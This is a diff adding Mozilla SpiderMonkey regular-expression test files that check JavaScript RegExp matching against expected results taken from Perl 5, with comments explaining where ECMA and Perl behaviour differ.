+ status = inSection(379);
+ pattern = /abb\z/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(380);
+ pattern = /abb$/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(381);
+ pattern = /(^|x)(c)/;
+ string = 'ca';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('c', '', 'c');
+ addThis();
+
+ status = inSection(382);
+ pattern = /foo.bart/;
+ string = 'foo.bart';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('foo.bart');
+ addThis();
+
+ status = inSection(383);
+ pattern = /^d[x][x][x]/m;
+ string = 'abcd\ndxxx';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('dxxx');
+ addThis();
+
+ status = inSection(384);
+ pattern = /tt+$/;
+ string = 'xxxtt';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('tt');
+ addThis();
+
+/* ECMA spec says that each atom in a range must be a single character
+ status = inSection(385);
+ pattern = /([a-\d]+)/;
+ string = 'za-9z';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('9', '9');
+ addThis();
+
+ status = inSection(386);
+ pattern = /([\d-z]+)/;
+ string = 'a0-za';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+*/
+
+/* ECMA doesn't support [:
+ status = inSection(387);
+ pattern = /([a-[:digit:]]+)/;
+ string = 'za-9z';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a-9', 'a-9');
+ addThis();
+
+ status = inSection(388);
+ pattern = /([[:digit:]-z]+)/;
+ string = '=0-z=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+
+ status = inSection(389);
+ pattern = /([[:digit:]-[:alpha:]]+)/;
+ string = '=0-z=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+*/
+
+ status = inSection(390);
+ pattern = /(\d+\.\d+)/;
+ string = '3.1415926';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('3.1415926', '3.1415926');
+ addThis();
+
+ status = inSection(391);
+ pattern = /\.c(pp|xx|c)?$/i;
+ string = 'IO.c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.c', undefined);
+ addThis();
+
+ status = inSection(392);
+ pattern = /(\.c(pp|xx|c)?$)/i;
+ string = 'IO.c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.c', '.c', undefined);
+ addThis();
+
+ status = inSection(393);
+ pattern = /(^|a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(394);
+ pattern = /^([ab]*?)(b)?(c)$/;
+ string = 'abac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abac', 'aba', undefined, 'c');
+ addThis();
+
+ status = inSection(395);
+ pattern = /^(?:.,){2}c/i;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c');
+ addThis();
+
+ status = inSection(396);
+ pattern = /^(.,){2}c/i;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c', 'b,');
+ addThis();
+
+ status = inSection(397);
+ pattern = /^(?:[^,]*,){2}c/;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c');
+ addThis();
+
+ status = inSection(398);
+ pattern = /^([^,]*,){2}c/;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c', 'b,');
+ addThis();
+
+ status = inSection(399);
+ pattern = /^([^,]*,){3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(400);
+ pattern = /^([^,]*,){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(401);
+ pattern = /^([^,]*,){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(402);
+ pattern = /^([^,]{1,3},){3}d/i;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(403);
+ pattern = /^([^,]{1,3},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(404);
+ pattern = /^([^,]{1,3},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(405);
+ pattern = /^([^,]{1,},){3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(406);
+ pattern = /^([^,]{1,},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(407);
+ pattern = /^([^,]{1,},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(408);
+ pattern = /^([^,]{0,3},){3}d/i;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(409);
+ pattern = /^([^,]{0,3},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(410);
+ pattern = /^([^,]{0,3},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+/* ECMA doesn't support \A
+ status = inSection(411);
+ pattern = /(?!\A)x/m;
+ string = 'a\nxb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\n');
+ addThis();
+*/
+
+ status = inSection(412);
+ pattern = /^(a(b)?)+$/;
+ string = 'aba';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aba', 'a', undefined);
+ addThis();
+
+ status = inSection(413);
+ pattern = /^(aa(bb)?)+$/;
+ string = 'aabbaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aabbaa', 'aa', undefined);
+ addThis();
+
+ status = inSection(414);
+ pattern = /^.{9}abc.*\n/m;
+ string = '123\nabcabcabcabc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abcabcabcabc\n');
+ addThis();
+
+ status = inSection(415);
+ pattern = /^(a)?a$/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a', undefined);
+ addThis();
+
+ status = inSection(416);
+ pattern = /^(a\1?)(a\1?)(a\2?)(a\3?)$/;
+ string = 'aaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaa', 'a', 'aa', 'a', 'aa');
+ addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(417);
+ pattern = /^(a\1?){4}$/;
+ string = 'aaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaa', 'aaa');
+ addThis();
+*/
+
+ status = inSection(418);
+ pattern = /^(0+)?(?:x(1))?/;
+ string = 'x1';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('x1', undefined, '1');
+ addThis();
+
+ status = inSection(419);
+ pattern = /^([0-9a-fA-F]+)(?:x([0-9a-fA-F]+)?)(?:x([0-9a-fA-F]+))?/;
+ string = '012cxx0190';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('012cxx0190', '012c', undefined, '0190');
+ addThis();
+
+ status = inSection(420);
+ pattern = /^(b+?|a){1,2}c/;
+ string = 'bbbac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbac', 'a');
+ addThis();
+
+ status = inSection(421);
+ pattern = /^(b+?|a){1,2}c/;
+ string = 'bbbbac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbbac', 'a');
+ addThis();
+
+ status = inSection(422);
+ pattern = /((?:aaaa|bbbb)cccc)?/;
+ string = 'aaaacccc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaacccc', 'aaaacccc');
+ addThis();
+
+ status = inSection(423);
+ pattern = /((?:aaaa|bbbb)cccc)?/;
+ string = 'bbbbcccc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbbcccc', 'bbbbcccc');
+ addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+ test();
+//-----------------------------------------------------------------------------
+
+
+
+ function addThis()
+ {
+ if(omitCurrentSection())
+ return;
+
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+ }
+
+
+ function omitCurrentSection()
+ {
+ try
+ {
+ // current section number is in global status variable
+ var n = status.match(/(\d+)/)[1];
+ return ((n < cnLBOUND) || (n > cnUBOUND));
+ }
+ catch(e)
+ {
+ return false;
+ }
+ }
+
+
+ function test()
+ {
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ }
diff --git a/js/src/tests/non262/RegExp/perlstress-002.js b/js/src/tests/non262/RegExp/perlstress-002.js
new file mode 100644
index 0000000000..288cd9ed8b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/perlstress-002.js
@@ -0,0 +1,1806 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 2002-07-07
+ * SUMMARY: Testing JS RegExp engine against Perl 5 RegExp engine.
+ * Adjust cnLBOUND, cnUBOUND below to restrict which sections are tested.
+ *
+ * This test was created by running various patterns and strings through the
+ * Perl 5 RegExp engine. We saved the results below to test the JS engine.
+ *
+ * Each of the examples below is a negative test; that is, each produces a
+ * null match in Perl. Thus we set |expectedmatch| = |null| in each section.
+ *
+ * NOTE: ECMA/JS and Perl do differ on certain points. We have either commented
+ * out such sections altogether, or modified them to fit what we expect from JS.
+ *
+ * EXAMPLES:
+ *
+ * - ECMA does support (?: (?= and (?! operators, but doesn't support (?< etc.
+ *
+ * - ECMA doesn't support (?(condition)
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 85721;
+var summary = 'Testing regular expression edge cases';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var cnLBOUND = 0;
+var cnUBOUND = 1000;
+
+
+status = inSection(1);
+pattern = /abc/;
+string = 'xbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+pattern = /abc/;
+string = 'axc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(3);
+pattern = /abc/;
+string = 'abx';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(4);
+pattern = /ab+bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(5);
+pattern = /ab+bc/;
+string = 'abq';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(6);
+pattern = /ab{1,}bc/;
+string = 'abq';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(7);
+pattern = /ab{4,5}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(8);
+pattern = /ab?bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(9);
+pattern = /^abc$/;
+string = 'abcc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+pattern = /^abc$/;
+string = 'aabc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(11);
+pattern = /abc$/;
+string = 'aabcd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(12);
+pattern = /a.*c/;
+string = 'axyzd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(13);
+pattern = /a[bc]d/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(14);
+pattern = /a[b-d]e/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(15);
+pattern = /a[^bc]d/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(16);
+pattern = /a[^-b]c/;
+string = 'a-c';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(17);
+pattern = /a[^]b]c/;
+string = 'a]c';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(18);
+pattern = /\by\b/;
+string = 'xy';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(19);
+pattern = /\by\b/;
+string = 'yz';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(20);
+pattern = /\by\b/;
+string = 'xyz';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(21);
+pattern = /\Ba\B/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(22);
+pattern = /\Ba\B/;
+string = '-a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(23);
+pattern = /\Ba\B/;
+string = '-a-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(24);
+pattern = /\w/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(25);
+pattern = /\W/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(26);
+pattern = /a\sb/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(27);
+pattern = /\d/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(28);
+pattern = /\D/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(29);
+pattern = /[\w]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(30);
+pattern = /[\W]/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(31);
+pattern = /a[\s]b/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(32);
+pattern = /[\d]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(33);
+pattern = /[\D]/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(34);
+pattern = /$b/;
+string = 'b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(35);
+pattern = /^(ab|cd)e/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(36);
+pattern = /a[bcd]+dcdcde/;
+string = 'adcdcde';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(37);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'effg';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(38);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'bcdd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(39);
+pattern = /[k]/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents.
+status = inSection(40);
+pattern = /(a)|\1/;
+string = 'x';
+actualmatch = string.match(pattern);
+//expectedmatch = null;
+expectedmatch = Array("", undefined);
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents.
+status = inSection(41);
+pattern = /((\3|b)\2(a)x)+/;
+string = 'aaxabxbaxbbx';
+actualmatch = string.match(pattern);
+//expectedmatch = null;
+expectedmatch = Array("ax", "ax", "", "a");
+addThis();
+
+status = inSection(42);
+pattern = /abc/i;
+string = 'XBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(43);
+pattern = /abc/i;
+string = 'AXC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(44);
+pattern = /abc/i;
+string = 'ABX';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(45);
+pattern = /ab+bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(46);
+pattern = /ab+bc/i;
+string = 'ABQ';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(47);
+pattern = /ab{1,}bc/i;
+string = 'ABQ';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(48);
+pattern = /ab{4,5}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(49);
+pattern = /ab??bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(50);
+pattern = /^abc$/i;
+string = 'ABCC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(51);
+pattern = /^abc$/i;
+string = 'AABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(52);
+pattern = /a.*c/i;
+string = 'AXYZD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(53);
+pattern = /a[bc]d/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(54);
+pattern = /a[b-d]e/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(55);
+pattern = /a[^bc]d/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(56);
+pattern = /a[^-b]c/i;
+string = 'A-C';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(57);
+pattern = /a[^]b]c/i;
+string = 'A]C';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(58);
+pattern = /$b/i;
+string = 'B';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(59);
+pattern = /^(ab|cd)e/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(60);
+pattern = /a[bcd]+dcdcde/i;
+string = 'ADCDCDE';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(61);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'EFFG';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(62);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'BCDD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(63);
+pattern = /[k]/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(64);
+pattern = /^(a\1?){4}$/;
+string = 'aaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(65);
+pattern = /^(a\1?){4}$/;
+string = 'aaaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(66);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(67);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?<
+ status = inSection(68);
+ pattern = /(?<=a)b/;
+ string = 'cb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(69);
+ pattern = /(?<=a)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(70);
+ pattern = /(?<!c)b/;
+ string = 'cb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?(condition)
+ status = inSection(71);
+ pattern = /(?:(?i)a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(72);
+ pattern = /((?i)a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(73);
+ pattern = /(?i:a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(74);
+ pattern = /((?i:a))b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(75);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(76);
+ pattern = /((?-i)a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(77);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(78);
+ pattern = /((?-i)a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(79);
+ pattern = /(?-i:a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(80);
+ pattern = /((?-i:a))b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(81);
+ pattern = /(?-i:a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(82);
+ pattern = /((?-i:a))b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(83);
+ pattern = /((?-i:a.))b/i;
+ string = 'a\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(84);
+ pattern = /((?s-i:a.))b/i;
+ string = 'B\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?<
+ status = inSection(85);
+ pattern = /(?<![cd])b/;
+ string = 'dbcb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(86);
+ pattern = /(?<!(c|d))b/;
+ string = 'dbcb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+status = inSection(87);
+pattern = /^(?:a?b?)*$/;
+string = 'a--';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(88);
+pattern = /^b/;
+string = 'a\nb\nc\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(89);
+pattern = /()^b/;
+string = 'a\nb\nc\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(90);
+ pattern = /(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(91);
+ pattern = /(x)?(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(92);
+ pattern = /()(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(93);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = 'blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(94);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = '(blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(95);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = 'blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(96);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = '(blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(97);
+ pattern = /(?(?{0})a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(98);
+ pattern = /(?(?{1})b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(99);
+ pattern = /(?(?!a)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(100);
+ pattern = /(?(?=a)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+status = inSection(101);
+pattern = /^(?=(a+?))\1ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(102);
+pattern = /^(?=(a+?))\1ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(103);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd:';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(104);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd:';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(105);
+pattern = /(>a+)ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(106);
+pattern = /a\Z/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(107);
+pattern = /a\z/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(108);
+pattern = /a$/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(109);
+pattern = /a\z/;
+string = 'b\na\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(110);
+pattern = /a\z/m;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(111);
+pattern = /a\z/m;
+string = 'b\na\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(112);
+pattern = /aa\Z/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(113);
+pattern = /aa\z/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(114);
+pattern = /aa$/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(115);
+pattern = /aa\z/;
+string = 'b\naa\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(116);
+pattern = /aa\z/m;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(117);
+pattern = /aa\z/m;
+string = 'b\naa\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(118);
+pattern = /aa\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(119);
+pattern = /aa\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(120);
+pattern = /aa$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(121);
+pattern = /aa\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(122);
+pattern = /aa\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(123);
+pattern = /aa$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(124);
+pattern = /aa\Z/;
